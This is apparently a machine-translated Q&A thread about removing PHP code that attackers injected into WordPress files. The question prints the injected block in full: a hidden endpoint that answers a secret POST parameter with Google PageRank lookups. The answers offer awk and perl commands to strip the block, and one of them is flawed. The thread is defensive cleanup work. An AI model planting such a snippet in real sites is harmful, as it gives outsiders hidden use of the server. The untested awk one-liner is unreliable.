什么是合适的grep + sed语法?

时间:2011-05-25 22:38:36

标签: sed grep

我有两个wordpress安装,黑客试图将一些php代码注入现有的php文件

没什么大不了的,但是现在我必须从大量子目录中的大约200个文本文件中删除大约20行文本,而对于grep&想弄清楚......

搜索包含以下文本片段的所有* .php文件(包括子目录)的文件夹“hacked wordpress”的命令的语法是什么,然后删除该片段?

<?php
//{{56541616

GLOBAL $alreadyxxx;
if($alreadyxxx != 1)
{
$alreadyxxx = 1;
$olderrxxx=error_reporting(0);
function StrToNum($Str, $Check, $Magic)
{
   $Int32Unit = 4294967296;
   $length = strlen($Str);
   for ($i = 0; $i < $length; $i++) {
       $Check *= $Magic;
       if ($Check >= $Int32Unit) {
           $Check = ($Check - $Int32Unit * (int) ($Check / $Int32Unit));
           $Check = ($Check < -2147483648) ? ($Check + $Int32Unit) : $Check;
       }
       $Check += ord($Str{$i});
   }
   return $Check;
}
function HashURL($String)
{
   $Check1 = StrToNum($String, 0x1505, 0x21);
   $Check2 = StrToNum($String, 0, 0x1003F);

   $Check1 >>= 2;
   $Check1 = (($Check1 >> 4) & 0x3FFFFC0 ) | ($Check1 & 0x3F);
   $Check1 = (($Check1 >> 4) & 0x3FFC00 ) | ($Check1 & 0x3FF);
   $Check1 = (($Check1 >> 4) & 0x3C000 ) | ($Check1 & 0x3FFF);

   $T1 = (((($Check1 & 0x3C0) << 4) | ($Check1 & 0x3C)) <<2 ) | ($Check2 & 0xF0F );
   $T2 = (((($Check1 & 0xFFFFC000) << 4) | ($Check1 & 0x3C00)) << 0xA) | ($Check2 & 0xF0F0000 );

   return ($T1 | $T2);
}

function CheckHash($Hashnum)
{
   $CheckByte = 0;
   $Flag = 0;

   $HashStr = sprintf('%u', $Hashnum) ;
   $length = strlen($HashStr);

   for ($i = $length-1; $i >= 0;  $i--) {
       $Re = $HashStr{$i};
       if (1 === ($Flag % 2)) {
           $Re += $Re;
           $Re = (int)($Re / 10) + ($Re % 10);
       }
       $CheckByte += $Re;
       $Flag ++;
   }

   $CheckByte %= 10;
   if (0 !== $CheckByte) {
       $CheckByte = 10 - $CheckByte;
       if (1 === ($Flag % 2) ) {
           if (1 === ($CheckByte % 2)) {
               $CheckByte += 9;
           }
           $CheckByte >>= 1;
       }
   }

   return '7'.$CheckByte.$HashStr;
}

function getpr($url)
{
   $ch = CheckHash(HashURL($url));
   $file = "http://toolbarqueries.google.com/search?client=navclient-auto&ch=$ch&features=Rank&q=info:$url";;
   $data = file_get_contents($file);
   $pos = strpos($data, "Rank_");
   if($pos === false){return -1;} else{
       $pr=substr($data, $pos + 9);
       $pr=trim($pr);
       $pr=str_replace("
",'',$pr);
       return $pr;
   }
}
if(isset($_POST['xxxprch']))
{
    echo getpr($_POST['xxxprch']);
    exit();
}
error_reporting($olderrxxx);
}

//}}18420732
?>

4 个答案:

答案 0 :(得分:2)

我不会使用sed和grep - 两者都只在线上运行而且不记得之前发生的事情。我经常使用awk。这是大多数awk教程在基础知识之后开始的事情。基本上,您创建三个匹配块,一个匹配开头,一个匹配结束,一个匹配其余。在“打开”和“关闭”中,您可以设置或重置布尔值以跟踪是否打印当前行。在处理其余的行时,您可以根据此布尔值打印或不打印。

此外,请务必记住在运行之前备份文件。你不会是第一个被错字吓到的人。

/startsequence/    { ignoring=true; }
/endsequence/      { ignoring=false; }
{ if (!ignoring) print }

用您自己的有效开始&amp;替换startsequence和endsequence。结束序列。如果这些数字实际上始终存在,请使用它们。我没有检查过这个(因为我现在正在使用无cygwin的Windows机器),但确实认为它有效。灵感来自示例here 编辑:添加了示例

答案 1 :(得分:0)

使用perl;

find "hacked wordpress" -iname \*.php -print |\
xargs perl -0777 -i -pe 's:\s*<\?php\s*//\{\{56541616.*?//\}\}18420732\s*\?>\s*::s;'

这应该从每个.php文件中删除整个片段。

DRY RUN FIRST - 所以请在临时副本上进行测试。

答案 2 :(得分:0)

我没有测试过这个。但我希望这个想法是正确的:

find ./hacked wordpress -name "*.php"|xargs awk '/^<?php/NP=1,/?>$/NP=0{if(NP=0) print}'

答案 3 :(得分:0)

我遇到同样的问题,仍然在寻找修复方法。

看看这个:

http://crystaldawn.net/fix_hack 以及更多信息:http://frazierit.com/blog/?p=103 在这里: How to call php script using html form elements instead of command line?

清理脚本并不完美,似乎删除了一些不应该删除的东西。我没有完善它的技能。如果有人能解决它会很棒!